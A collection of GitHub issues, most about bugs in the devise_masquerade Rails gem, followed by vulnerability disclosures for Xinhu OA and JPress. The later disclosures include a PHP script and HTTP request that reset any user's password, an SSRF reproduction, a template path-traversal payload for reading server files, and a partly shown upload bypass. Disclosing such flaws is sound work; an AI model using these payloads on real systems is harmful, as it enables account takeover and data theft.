69
[ "oivoodoo", "devise_masquerade" ]
Not sure why I am getting this error? No route matches [POST] "/masquerade/back" ``` class Users::MasqueradesController < Devise::MasqueradesController protected def find_resource masqueraded_resource_class.friendly.find(params[:id]) end def after_masquerade_path_for(resource) dashboard_users_path end def after_back_masquerade_path_for(resource) dashboard_users_path flash[:notice] = 'Masquerade session has ended' end end ``` Users Index View ``` <%= link_to "View", masquerade_path(user) %> ``` application.html.erb ``` <% if user_masquerade? %> <p class="">You are now logged in as <%= current_user.name %>!<p> <%= button_to "Reverse masquerade", back_masquerade_path(current_user), class: "btn btn__pill" %> <% end %> ```
No route matches [POST] "/masquerade/back"
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/68/comments
1
2020-04-12T03:25:23Z
2020-04-12T04:38:26Z
https://github.com/oivoodoo/devise_masquerade/issues/68
598,400,945
68
[ "oivoodoo", "devise_masquerade" ]
I'm unable to use the masquerade_path inside of trestle admin panel. I may need to access it directly through the Devise Masquerade Module...The example below is a traditional way of using the normal rails routes....Now I need the approach for DeviseMasquerade. `concat link_to("Preview", Rails.application.routes.url_helpers.location_path(location), class: "btn btn-primary", target: :_blank)`
Accessing masquerade routes in Trestle Admin
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/67/comments
0
2020-02-27T19:58:06Z
2020-10-28T15:01:23Z
https://github.com/oivoodoo/devise_masquerade/issues/67
572,322,215
67
[ "oivoodoo", "devise_masquerade" ]
Try to make masquerade worked, but I keep having the "You are already connected" with my user not changing. I am on dev, but I activated caches both with : * ```rails dev:cach``` * ```touch /tmp/caching-dev.txt``` I also put in my ```environment.rb``` : ```Devise.masquerade_bypass_warden_callback=true``` How can I debug this ?
You are already connected
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/66/comments
18
2020-02-19T16:12:38Z
2021-12-17T20:04:06Z
https://github.com/oivoodoo/devise_masquerade/issues/66
567,666,898
66
[ "oivoodoo", "devise_masquerade" ]
Hi, I am using devise_masquerade v0.6.5 and devise v4.7.1 and pundit v1.1.0. I acknowledge that v0.6.5 is old but I'm wondering whether v1.2.0 will fix it, or even how I would track this bug down. I am not doing anything different or abnormal and the default configuration. Sometimes (I haven't been able to find a repeatable set of steps) where once I've masqueraded as a user, sometime later the app looses the masquerading part and I'm then logged in directly as the user I was masquerading. It happened to me on my phone this morning: 1. I (as an admin) masqueraded into a normal user account 1. I used the application as the user account 1. I locked my phone and did something else for a few mins 1. I picked up my phone and Safari refreshed the page (maybe due to memory usage or something) 1. I noticed that I was logged in directly as the user account This happens to me (and other admins) on desktop as well, but only occasionally, non-repeatable. I feel like this is an issue with something in the cookie expiring, but clearly the Devise cookie isn't expired otherwise I would no longer be logged in as the user account. Can you think of a scenario or codepath where `session["warden.user.user.key"]` gets set to `session["devise_masquerade_user"]`? I see there are a few other bugs (#33, #63) floating around in this area, but aren't exactly the same. Thanks for your time and for much such a useful gem. If there is any more information I can provide or something to log then please let me know!
Masquerading sometimes lost
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/65/comments
13
2020-02-10T22:05:29Z
2022-11-08T22:42:21Z
https://github.com/oivoodoo/devise_masquerade/issues/65
562,856,871
65
[ "oivoodoo", "devise_masquerade" ]
I've run into the bug of not having the Rails cache enabled which means the masquerade token isn't retrievable and masquerading fails. I know this got added to the readme recently in the Troubleshooting section. Is there any reason this couldn't use a Signed Global ID instead? They have expirations are are signed by the server. This would let you lookup tokens the same, but without having to rely on caching being enabled. If there's interest, I'd be happy to make a PR for it. 👍
Signed Global ID instead of Rails cache?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/64/comments
6
2020-01-22T01:52:56Z
2021-02-05T21:01:02Z
https://github.com/oivoodoo/devise_masquerade/issues/64
553,260,831
64
[ "oivoodoo", "devise_masquerade" ]
The default value for `Devise.masquerade_expires_in` is 1 minute. If you navigate to a page with a masquerade link: ```ruby <%= link_to "Login As", masquerade_path(user) %> ``` Wait 1 minute (or whatever your timeout is set to) and then click the "Login As" link, masquerade is activated. but for your own account. For example: ``` session["warden.user.user.key"][0][0] == session["devise_masquerade_user"] => true ``` And you will also be able to see the "Reverse Masquerade" link.
Expired token masquerades you as yourself
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/63/comments
12
2020-01-13T16:04:39Z
2021-12-17T20:04:16Z
https://github.com/oivoodoo/devise_masquerade/issues/63
549,028,073
63
[ "oivoodoo", "devise_masquerade" ]
https://github.com/oivoodoo/devise_masquerade/blob/64acfa9d477ecb5cf66f762e3a0a81f11b6055a8/lib/devise_masquerade/models/masqueradable.rb#L27
Code duplication
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/60/comments
2
2019-11-30T18:38:32Z
2019-12-02T08:08:25Z
https://github.com/oivoodoo/devise_masquerade/issues/60
530,615,468
60
[ "oivoodoo", "devise_masquerade" ]
After setting up `devise` and `devise_masquerade` all standard install from the documentation I get the `flash[:error]` result of "You are already signed in". I am running version `4.7.1` of `devise` and `1.2.0` of `devise_masquerade`. If you look at the development log you will see `Filter chain halted as :require_no_authentication rendered or redirected` Below is the log file in hopes that it helps with the issue: ``` Started GET "/users/masquerade/4?masquerade=u3g6hRnmVxjYhA4_yNZ0wA&masqueraded_resource_class=User" for 127.0.0.1 at 2019-10-23 23:45:16 -0500 Processing by Devise::MasqueradesController#show as HTML Parameters: {"masquerade"=>"u3g6hRnmVxjYhA4_yNZ0wA", "masqueraded_resource_class"=>"User", "id"=>"4"} User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? ORDER BY "users"."id" ASC LIMIT ? [["id", 3], ["LIMIT", 1]] User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" IS NULL AND "users"."id" = ? ORDER BY "users"."id" ASC LIMIT ? [["id", 4], ["LIMIT", 1]] Redirected to http://localhost:3000/users/sign_in Completed 302 Found in 4ms (ActiveRecord: 0.2ms | Allocations: 3177) Started GET "/users/sign_in" for 127.0.0.1 at 2019-10-23 23:45:16 -0500 Processing by Devise::SessionsController#new as HTML User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? ORDER BY "users"."id" ASC LIMIT ? [["id", 3], ["LIMIT", 1]] Redirected to http://localhost:3000/ Filter chain halted as :require_no_authentication rendered or redirected Completed 302 Found in 2ms (ActiveRecord: 0.1ms | Allocations: 1822) Started GET "/" for 127.0.0.1 at 2019-10-23 23:45:16 -0500 Processing by HomeController#index as HTML Rendering home/index.html.erb within layouts/application User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? ORDER BY "users"."id" ASC LIMIT ? [["id", 3], ["LIMIT", 1]] ↳ app/views/home/index.html.erb:4 Rendered home/index.html.erb within layouts/application (Duration: 1.2ms | Allocations: 856) Completed 200 OK in 8ms (Views: 6.9ms | ActiveRecord: 0.1ms | Allocations: 5501) ``` On redirect to `HomeController` there are some things that happen because I am able to successfully see a button that will reverse the masquerade so `user_masquerade?` seems to be working successfully. The `back_masquerade_path` also works as you would expect. On the views the `current_user` isn't the user I expect it to be as it is the user logged in before masquerading.
Receiving "You are already signed in" flash[:error]
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/58/comments
14
2019-10-24T04:52:59Z
2019-12-17T20:36:28Z
https://github.com/oivoodoo/devise_masquerade/issues/58
511,705,731
58
[ "oivoodoo", "devise_masquerade" ]
Rails 5.2 doesn't have Zeitwerk but v1.0.0 of this gem brings this dependency, why? I think it should be either optional based on Rails version or require Rails 6.
Rails 5.2 doesn't have Zeitwerk
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/56/comments
2
2019-10-22T11:09:30Z
2019-10-22T20:03:34Z
https://github.com/oivoodoo/devise_masquerade/issues/56
510,583,811
56
[ "oivoodoo", "devise_masquerade" ]
Deprecation warning with Rails 6.0.0 when `devise_masquerade` gem is included. On running `rails test`: ``` DEPRECATION WARNING: Initialization autoloaded the constants ActionText::ContentHelper and ActionText::TagHelper. Being able to do this is deprecated. Autoloading during initialization is going to be an error condition in future versions of Rails. Reloading does not reboot the application, and therefore code executed during initialization does not run again. So, if you reload ActionText::ContentHelper, for example, the expected changes won't be reflected in that stale Module object. These autoloaded constants have been unloaded. Please, check the "Autoloading and Reloading Constants" guide for solutions. ```
Rails 6.0.0. with Zeitwerk: DEPRECATION WARNING: Initialization autoloaded the constants ActionText::ContentHelper and ActionText::TagHelper.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/54/comments
3
2019-10-15T12:49:50Z
2019-10-21T18:44:50Z
https://github.com/oivoodoo/devise_masquerade/issues/54
507,223,266
54
[ "oivoodoo", "devise_masquerade" ]
When masquerading (and using timeoutable) I visit a url only accessible to the masq'd user. I walk away from the system, and it times out. I return to the system by logging back in and devise tries to deliver me to the url I was at just prior to timing out...but that url isn't valid unless I'm masquerading. Instead of the Rails error, I'd rather A) have my masquerading session restored or B) redirect to the root path with a flash message indicating I need to remasquerade to get back to the prior url. Or perhaps I'm just missing something in my configuration? I can dig into the source among devise, warden, timeoutable and masqueradable, but thought I'd see if someone knows how to address this before I do that... Conditions: - devise with timeoutable and masqueradable. - user in masquerade visiting a path accessible to the masqueraded user (and not the original, base user) - devise times out - base user returns to the system and logs in - session is the base user's, not in the masqueraded user - after signin action tries to revisit the url that was current upon timeout...failure since that url is not reachable by the base user rails 5.2.2.1 devise 4.6.1 devise_masquerade 0.6.5 Happy to stand up a little rails app that will demonstrate if that's helpful. Many thanks!
masquerade, then session timeout; unable to return to prior url after re-login
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/53/comments
2
2019-04-01T15:03:56Z
2019-10-22T20:01:28Z
https://github.com/oivoodoo/devise_masquerade/issues/53
427,757,910
53
[ "oivoodoo", "devise_masquerade" ]
Hi, i've tried to use my resource name Instead of user, but it doesn't work if i don't configure the resource name with "config.masquerading_resource_name" on devise.rb (undocumented way). This is my configuration: Model: ``` class Organization < ApplicationRecord devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable, :confirmable, :masqueradable ``` Controllers: ``` class ApplicationController < ActionController::Base before_action :masquerade_organization! ``` ``` class MasqueradesController < Devise::MasqueradesController def show super end protected def masquerade_authorized? current_organization.superpower end end ``` Routes: ``` Rails.application.routes.draw do devise_for :organizations, controllers: { masquerades: "masquerades" } ``` Devise.rb ``` config.masquerading_resource_name = 'organization' config.masqueraded_resource_name = 'organization' ```
Problem with resource name
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/50/comments
9
2018-08-01T14:59:55Z
2019-10-22T20:02:13Z
https://github.com/oivoodoo/devise_masquerade/issues/50
346,638,719
50
[ "oivoodoo", "devise_masquerade" ]
When I'm logged in as Admin and I'm trying to impersonate User I'm getting authorization error, looks like that action show in MasqueradesController is not even reached. Is is possible to use that gem having two models Admin (who impersonates) and Uses (who is impersonated one) ?
Authorization failed when logged in as Admin and trying to impersonate User
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/49/comments
6
2018-07-27T09:40:25Z
2019-12-09T13:07:43Z
https://github.com/oivoodoo/devise_masquerade/issues/49
345,159,943
49
[ "oivoodoo", "devise_masquerade" ]
https://github.com/oivoodoo/devise_masquerade/blob/master/app/controllers/devise/masquerades_controller.rb#L120 I guess the `resource` param is not being used, so why have it right? I looked into the spec and no resource was passed into the `after_back_masquerade_path_for`, so I guess better to remove it? Let me know what you think and I will submit a PR.
Is the `resource` param being used in `after_back_masquerade_path_for` ?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/48/comments
1
2018-07-24T04:36:37Z
2018-07-24T13:26:12Z
https://github.com/oivoodoo/devise_masquerade/issues/48
343,881,605
48
[ "oivoodoo", "devise_masquerade" ]
This gem seems to generate links as `http://localhost:3000/users/masquerade/[uid]` - is this not vulnerable to CSRF? The Masquerade module in Drupal does this. It makes URLs like this: `https://example.com/masquerade/switch/123?token=[LONG TOKEN HERE]` The token is generated using a site-specific salt and is confirmable so you cant just alter it. If I enable this gem on our site and one of the admin users visits a site which calls `domain.com/users/masquerade/123` via, say, an `<img src="" />`, wont this trigger our site to switch users?
Should links have a secure token on them?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/45/comments
5
2018-01-25T18:19:59Z
2019-10-23T09:48:21Z
https://github.com/oivoodoo/devise_masquerade/issues/45
291,667,382
45
[ "oivoodoo", "devise_masquerade" ]
This looks concerning to me: https://github.com/oivoodoo/devise_masquerade/commit/6b1460f36123e38d16391de6862e5ac7c32325f3#diff-3f96780b420f7f24f5d727515ecc71ffR38 ![bitmoji](https://render.bitstrips.com/v2/cpanel/ec48e54c-1ede-452a-ba29-4d4f918ccf2a-bd2a7242-a669-4357-9204-8dfc136be16e-v1.png?transparent=1&palette=1&width=246)
Version 0.6 pry?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/44/comments
3
2018-01-10T15:03:03Z
2018-01-12T11:50:57Z
https://github.com/oivoodoo/devise_masquerade/issues/44
287,464,394
44
[ "oivoodoo", "devise_masquerade" ]
Hello, I installed this gem after realizing pretender would not work for me because it doesn't create or modifies the client cookies when logging as another user. I'm having some problems adapting my app to this change. I need to be able to get the real user instance to have some logic behind, like displaying the real user image or name. Pretender used two variables to allow this: current_user would get changed to the impersonalized user, while true_entity would hold the real user. Is there something like this in this gem? Is there a way to get the real user behind the masquerade? I know there is functionality to get back to your real user within this gem, as described on the readme. But I can't find a way to store the real user as a variable to do some logic with it.
How to get the real user when using masquerade?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/43/comments
1
2017-12-23T18:01:53Z
2018-01-12T11:51:04Z
https://github.com/oivoodoo/devise_masquerade/issues/43
284,318,750
43
[ "oivoodoo", "devise_masquerade" ]
I have a `masquerade_authorized?` defined as ``` def masquerade_authorized? current_user.admin? || user_masquerade? end ``` and I do have the routes.rb line: `devise_for :users, controllers: { masquerades: "admin/masquerades" }` I can masquerade only when an admin but if I click the back button I get a 403 and an error in my log: ``` Started GET "/users/masquerade/back" for 127.0.0.1 at 2017-10-31 10:51:40 -0400 Cannot render console from 127.0.0.1! Allowed networks: 127.0.0.1, ::1, 127.0.0.0/127.255.255.255 Processing by Admin::MasqueradesController#back as HTML User Load (0.8ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2 [["id", 2], ["LIMIT", 1]] Filter chain halted as :masquerade_authorize! rendered or redirected Completed 403 Forbidden in 42ms (ActiveRecord: 7.6ms) ``` I've tried defining `masquerade_authorize!` too but it looks like neither of my `masquerade_authorize!` or `masquerade_authorized?` are even getting called.
Unable to Authorize after Back link click
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/42/comments
2
2017-10-31T14:54:35Z
2017-11-02T09:26:37Z
https://github.com/oivoodoo/devise_masquerade/issues/42
269,989,598
42
[ "oivoodoo", "devise_masquerade" ]
Following the instructions and clicking `Login as` the reply is: ```` Started GET "/masquerades/1" for 127.0.0.1 at 2017-07-27 07:23:20 +0800 Processing by MasqueradesController#show as HTML Parameters: {"id"=>"1"} User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = 3 LIMIT 1 [Devise] Could not find devise mapping for path "/masquerades/1". This may happen for two reasons: 1) You forgot to wrap your route inside the scope block. For example: devise_scope :user do get "/some/route" => "some_devise_controller" end 2) You are testing a Devise controller bypassing the router. If so, you can explicitly tell Devise which mapping to use: @request.env["devise.mapping"] = Devise.mappings[:user] ````
Dummy app reports ActionNotFound
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/40/comments
3
2017-07-26T23:25:06Z
2019-10-21T14:16:42Z
https://github.com/oivoodoo/devise_masquerade/issues/40
245,883,119
40
[ "oivoodoo", "devise_masquerade" ]
After following instructions and click on the login as user link I get You are already signed in error ``` Started GET "/login" for 127.0.0.1 at 2017-07-11 04:24:30 -0700 Processing by Devise::SessionsController#new as HTML User Load (0.9ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2 [["id", 1], ["LIMIT", 1]] Location Load (0.5ms) SELECT "locations".* FROM "locations" WHERE "locations"."id" = $1 LIMIT $2 [["id", 107], ["LIMIT", 1]] Redirected to http://localhost:3001/ Filter chain halted as :require_no_authentication rendered or redirected Completed 302 Found in 9ms (ActiveRecord: 1.5ms) ```
You are already Signed In Message appears
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/38/comments
1
2017-07-11T11:35:56Z
2018-12-03T18:59:39Z
https://github.com/oivoodoo/devise_masquerade/issues/38
242,016,729
38
[ "oivoodoo", "devise_masquerade" ]
The existing behavior assumes that the app uses the same Devise model (e.g. User) to masquerade. It would be nice if we can declare 2 different models.
Use different models (e.g. Admin and User for instance)
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/36/comments
1
2017-07-03T15:45:15Z
2017-07-05T08:39:31Z
https://github.com/oivoodoo/devise_masquerade/issues/36
240,209,804
36
[ "oivoodoo", "devise_masquerade" ]
Hello everyone, I'm using Pundit for authorization and I've noticed something strange. Please take a look at the following lines: https://github.com/oivoodoo/devise_masquerade/blob/master/app/controllers/devise/masquerades_controller.rb#L8-L12 I'm just wondering what this does. Since I'm experiencing weird behavior where a `User` that is not allowed to use `masquerade` is seeing the authorization error but can also see our masquerade partial. Are these lines necessary to be in a before_action? Cause they might break authorization flow.
Using authorization with devise_masquerade
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/33/comments
5
2017-06-03T00:40:21Z
2017-06-07T12:52:44Z
https://github.com/oivoodoo/devise_masquerade/issues/33
233,331,920
33
[ "oivoodoo", "devise_masquerade" ]
Since the latest version of devise is 4 and most of other gems support it
Upgrade to devise 4
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/24/comments
1
2016-05-26T08:06:34Z
2018-12-03T18:59:28Z
https://github.com/oivoodoo/devise_masquerade/issues/24
156,927,207
24
[ "oivoodoo", "devise_masquerade" ]
I am trying to override the masquerades controller to include "load_and_authorize_resource" but am not able to for some reason. I've created /app/controllers/masquerades_controller.by with class MasqueradesController, but it doesn't get run. I tried class Admin::MasqueradesController as suggested in readme, but that doesn't get run (not sure what the Admin namespace refers to in this case either). Any ideas on what I might be doing wrong?
Authorize Resource
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/21/comments
2
2015-06-26T22:27:13Z
2017-06-07T18:45:46Z
https://github.com/oivoodoo/devise_masquerade/issues/21
91,377,409
21
[ "oivoodoo", "devise_masquerade" ]
If I start masquerading as a user and then visit the path to masquerade as a user (new or the same) the original user session is overwritten with the most recent masqueraded user. e.g. Start with user `A`. `A` masquerades as user `B`. `A` visits new masquerade path for user `C`. Original user is set to `B` when it should be `A`. This issue occurs around: ``` ruby class Devise::MasqueradesController < DeviseController #[...] def save_masquerade_owner_session session[session_key] = send("current_#{resource_name}").id end #[...] end ``` I resolved the issue locally by changing `save_masquerade_owner_session` to: ``` ruby session[session_key] = send("current_#{resource_name}").id unless session[session_key] ```
Original User Squashed on Multiple Requests to Devise::MasqueradesController#show
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/20/comments
1
2015-05-29T19:33:21Z
2017-02-06T20:19:42Z
https://github.com/oivoodoo/devise_masquerade/issues/20
82,555,646
20
[ "oivoodoo", "devise_masquerade" ]
Per `README.md`: > ## Custom controller for adding cancan for authorization > > ``` > class Admin::MasqueradesController < Devise::MasqueradesController > def show > authorize!(:masquerade, User) > > super > end > end > ``` `save_masquerade_owner_session` is a `before_filter` on `Devise::MasqueradesController`. This will cause the owner session to be set to the `current_user`. In my project this results in `user_masquerade?` to return true, and displaying a link to `back_masquerade_path(resource)` to be displayed; even though the masquerading failed.
Authorization (cancan) Order of Operations
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/19/comments
1
2015-05-29T19:21:22Z
2017-06-07T18:46:21Z
https://github.com/oivoodoo/devise_masquerade/issues/19
82,551,577
19
[ "oivoodoo", "devise_masquerade" ]
#22 fixed in this pull request
Fix CI server
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/18/comments
0
2014-12-02T16:13:19Z
2015-08-07T16:19:48Z
https://github.com/oivoodoo/devise_masquerade/issues/18
50,673,663
18
[ "oivoodoo", "devise_masquerade" ]
I've been seeing this pretty regularly, but can't figure out why. It seems the `owner_user` variable here is sometimes `nil`: https://github.com/oivoodoo/devise_masquerade/blob/master/app/controllers/devise/masquerades_controller.rb#L20 Perhaps the redirect was OK with occasional nils but `sign_in` is not. Should we add a conditional here? Here's the backtrace: ``` [GEM_ROOT]/gems/devise-2.2.8/lib/devise/mapping.rb:42:in `find_scope!` [GEM_ROOT]/gems/devise-2.2.8/lib/devise/controllers/helpers.rb:113:in `sign_in` [GEM_ROOT]/bundler/gems/devise_masquerade-c65a2f5e0ad5/app/controllers/devise/masquerades_controller.rb:22:in `back` ```
RuntimeError: Could not find a valid mapping for nil
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/13/comments
2
2014-06-05T21:40:50Z
2018-05-24T15:40:25Z
https://github.com/oivoodoo/devise_masquerade/issues/13
35,100,656
13
[ "oivoodoo", "devise_masquerade" ]
For some reason after the masquerade completes successfully and redirects, the initial page shows me logged in as the non-masqueraded user. Any thoughts?
Masquerade doesn't take effect until next page reload
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/10/comments
2
2014-04-18T16:30:34Z
2014-04-23T18:06:21Z
https://github.com/oivoodoo/devise_masquerade/issues/10
31,808,787
10
[ "oivoodoo", "devise_masquerade" ]
Hi, I'm trying to use your extension in conjunction with https://github.com/spree/spree_auth_devise but can't get things to work. I've followed the guidance in the readme. I believe the issue is related to the fact that in spree_auth_devise, the devise authentication is name spaced. The error I'm getting seems to be happening with the helpers: `uninitialized constant DeviseMasquerade::Controllers::Helpers::SpreeUser` from https://github.com/oivoodoo/devise_masquerade/blob/master/lib/devise_masquerade/controllers/helpers.rb Any thoughts?
Use with spree_auth_devise
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/7/comments
3
2014-04-17T20:27:21Z
2014-04-19T14:51:41Z
https://github.com/oivoodoo/devise_masquerade/issues/7
31,759,345
7
[ "oivoodoo", "devise_masquerade" ]
Review override the after masquerade path.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/3/comments
0
2013-07-26T14:50:46Z
2017-06-07T12:45:43Z
https://github.com/oivoodoo/devise_masquerade/issues/3
17,267,066
3
[ "oivoodoo", "devise_masquerade" ]
Try to use few different devise models in the application with masquerades.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/1/comments
2
2013-04-04T15:59:14Z
2014-05-20T11:48:21Z
https://github.com/oivoodoo/devise_masquerade/issues/1
12,806,839
1
[ "magicwave18", "vuldb" ]
1、Access the url to back up the sql file and return success successfully. task.php?m=sys|runt&a=beifen ![图片2](https://github.com/magicwave18/vuldb/assets/52652537/ad27f2fa-7c89-475c-baf7-341637999c34) 2、Then the sql data will be backed up to upload/data in json format. ![图片3](https://github.com/magicwave18/vuldb/assets/52652537/8ccfa309-6de1-4a65-95fe-18eb4bcf0c89) The folder naming format is: current time.random number within 10000 ![图片4](https://github.com/magicwave18/vuldb/assets/52652537/4145ba63-12ec-4bd2-a17e-8464bdbd40c9) The specific SQL data file name is: table name_number of fields_number of data rows. The number of fields is fixed in the data table. You only need to explode the number of rows. The number of fields in the admin table is 43, and the number of rows defaults to 8. ![图片5](https://github.com/magicwave18/vuldb/assets/52652537/94fe1e79-7d6f-401a-9adf-4f8e79e81b89) Finally, you need to blast the folder name (1000-9999) and the number of data rows in the OA user table Then access the corresponding json file to obtain the backed up data, and then obtain the administrator password ![图片6](https://github.com/magicwave18/vuldb/assets/52652537/61ba19c2-5b12-4d95-96e9-8deea4d5fbac)
Xinghu OA v2.3.2 sensitive information leaked
https://api.github.com/repos/magicwave18/vuldb/issues/2/comments
1
2023-09-24T10:43:31Z
2023-12-05T03:20:37Z
https://github.com/magicwave18/vuldb/issues/2
1,910,188,964
2
[ "magicwave18", "vuldb" ]
1、The payload generated to change the password is as follows: The data passed in is $data='{"msgtype":"editpass","user":"rock","pass":"123"}';, user is the username and pass is the password to be changed. <?php $data='{"msgtype":"editpass","user":"rock","pass":"123"}'; //$data = '{"basemodenum": "1","baseoptid": "1"}'; $key="d41d8cd98f00b204e9800998ecf8427e"; $x = 0; $len = strlen($data); $l = strlen($key); $char = $str = ''; for ($i = 0; $i < $len; $i++){ if ($x == $l) { $x = 0; } $char .= $key[$x]; $x++; } for ($i = 0; $i < $len; $i++){ $str .= chr(ord($data[$i]) + (ord($char[$i])) % 256); } $str = base64_encode($str); $str = str_replace(array('+', '/', '='), array('!', '.', ':'), $str); echo $str; ?> Generate the corresponding payload: ![191](https://github.com/magicwave18/vuldb/assets/52652537/60b372bf-d324-4e70-9d4c-3d36b0f2bc92) 2、Send request package: POST /xinhu/api.php?m=reimplat&a=index HTTP/1.1 Host: localhost:11 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 72 31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UqdTHn1OQWtPFrKuIalKTZGNW4g Return success to log in successfully ![图片1](https://github.com/magicwave18/vuldb/assets/52652537/742c7c34-91aa-4e45-a9fe-8f30b02a6ded)
Any user's password modification vulnerability in Xinhuo OA V2.3.2
https://api.github.com/repos/magicwave18/vuldb/issues/1/comments
0
2023-09-24T10:37:41Z
2023-09-24T10:38:19Z
https://github.com/magicwave18/vuldb/issues/1
1,910,187,402
1
[ "JPressProjects", "jpress" ]
null
控制接口权限在哪个文件或目录内
https://api.github.com/repos/JPressProjects/jpress/issues/191/comments
1
2025-03-17T10:41:00Z
2025-03-17T10:42:31Z
https://github.com/JPressProjects/jpress/issues/191
2,924,597,565
191
[ "JPressProjects", "jpress" ]
Download the latest version and start it locally ![image](https://github.com/user-attachments/assets/65e384ad-4b04-4454-9ea6-562a16840f0f) Replication process: Login to the backend and create a new data source ![image](https://github.com/user-attachments/assets/0c797430-de77-4217-aa7e-137d9693e56f) Select dynamic data source and add the ip of dnslog. ![image](https://github.com/user-attachments/assets/1b36e68a-9a1f-412e-93e8-9cb6e288a042) After submitting, you can get the id from the queryDatasources route. ![image](https://github.com/user-attachments/assets/8f494a58-83ff-47ea-8e33-9e43a97e98ce) Then use queryOptions route to trigger ssrf. ![image](https://github.com/user-attachments/assets/1e702248-da48-4142-b6fc-2425797d710f) ![image](https://github.com/user-attachments/assets/e6751b3e-9d3d-4d28-ae43-36505fa8c3c2) Code Analysis: Come to src/main/jsrf src/main/java/io/jpress/module/form/controller/admin/_FormDatasourceController.java file The queryDatasources route corresponds to the method that can be used to query the ids ![image](https://github.com/user-attachments/assets/0b44aaa1-04bf-497b-964a-90b025be1838) If the data is dynamic, the method corresponding to the queryOptions route calls the proxy.start method. ![image](https://github.com/user-attachments/assets/fb064e25-a9e5-4a2b-89be-dfb56ba0f3e8) Finally, the doSendRequest method is called to trigger the ssrf. ![image](https://github.com/user-attachments/assets/3f57dd47-a897-4627-b251-ff722f1a954d)
Jpress has a SSRF Vulnerability
https://api.github.com/repos/JPressProjects/jpress/issues/190/comments
0
2024-09-04T08:46:18Z
2024-09-04T08:51:47Z
https://github.com/JPressProjects/jpress/issues/190
2,504,691,916
190
[ "JPressProjects", "jpress" ]
## Affected version ≤Jpress v5.1.1 ## Vendor https://github.com/JPressProjects/jpress ## vulnerability File jfinal-5.1.9.jar ## Description Enter the background at [http://127.0.0.1:8080/admin/login](http://127.0.0.1:8080/admin/login). In System Management → Template → Edit Module, select to edit index.html, add a line of code in the file, and click Update File. ```text #include("../../../../../../../../../Windows/win.ini") ``` ![image](https://github.com/user-attachments/assets/7bddc924-58b2-49aa-b21e-a6fe873f412b) Then visit the homepage, and you can see the content of the local `c:\Windows\win.ini` file. ![image](https://github.com/user-attachments/assets/e48dceb0-8c2e-47e6-a5ce-cddd6a04e1b0) Modify the code to `../../WEB-INF/classes/jboot.properties`, and we can read the local database configuration file. ![image](https://github.com/user-attachments/assets/c196efdb-988e-4947-93a6-4381c40c06e4) ![image](https://github.com/user-attachments/assets/3d10c7c4-3c69-4016-9dbc-5e47f8aaa26b)
jpress has an arbitrary file read vulnerability
https://api.github.com/repos/JPressProjects/jpress/issues/189/comments
0
2024-08-22T14:51:08Z
2024-08-22T14:51:08Z
https://github.com/JPressProjects/jpress/issues/189
2,480,992,964
189
[ "JPressProjects", "jpress" ]
## Vulnerability Reproduction Similar to the [[jpress前台存在任意文件上传漏洞 · Issue #173 · JPressProjects/jpress (github.com)](https://github.com/JPressProjects/jpress/issues/173)](https://github.com/JPressProjects/jpress/issues/173) Deploy JPress on Windows After installing the JPress framework, register a user. http://localhost/user/register <img width="692" alt="1" src="https://github.com/user-attachments/assets/58bd82ce-11d5-4611-ba18-c5c9ef0f5633"> After registration, go to the avatar settings (`http://localhost/ucenter/avatar`), select an image, and capture the packet to submit. <img width="730" alt="2" src="https://github.com/user-attachments/assets/4ac06cb6-4dc6-428e-9bcb-d09c3e676d66"> If you upload an HTML file normally, it shows that uploading is not supported. <img width="842" alt="3" src="https://github.com/user-attachments/assets/21e403a3-6d68-4ebc-9d23-3b39f0df9713"> Uploading a JSP file will have its suffix changed. <img width="948" alt="4" src="https://github.com/user-attachments/assets/0663cf80-124f-42b5-afd0-8788f7a0b2e3"> When we add `::$DATA` to the end of the file name and send the packet. <img width="931" alt="5" 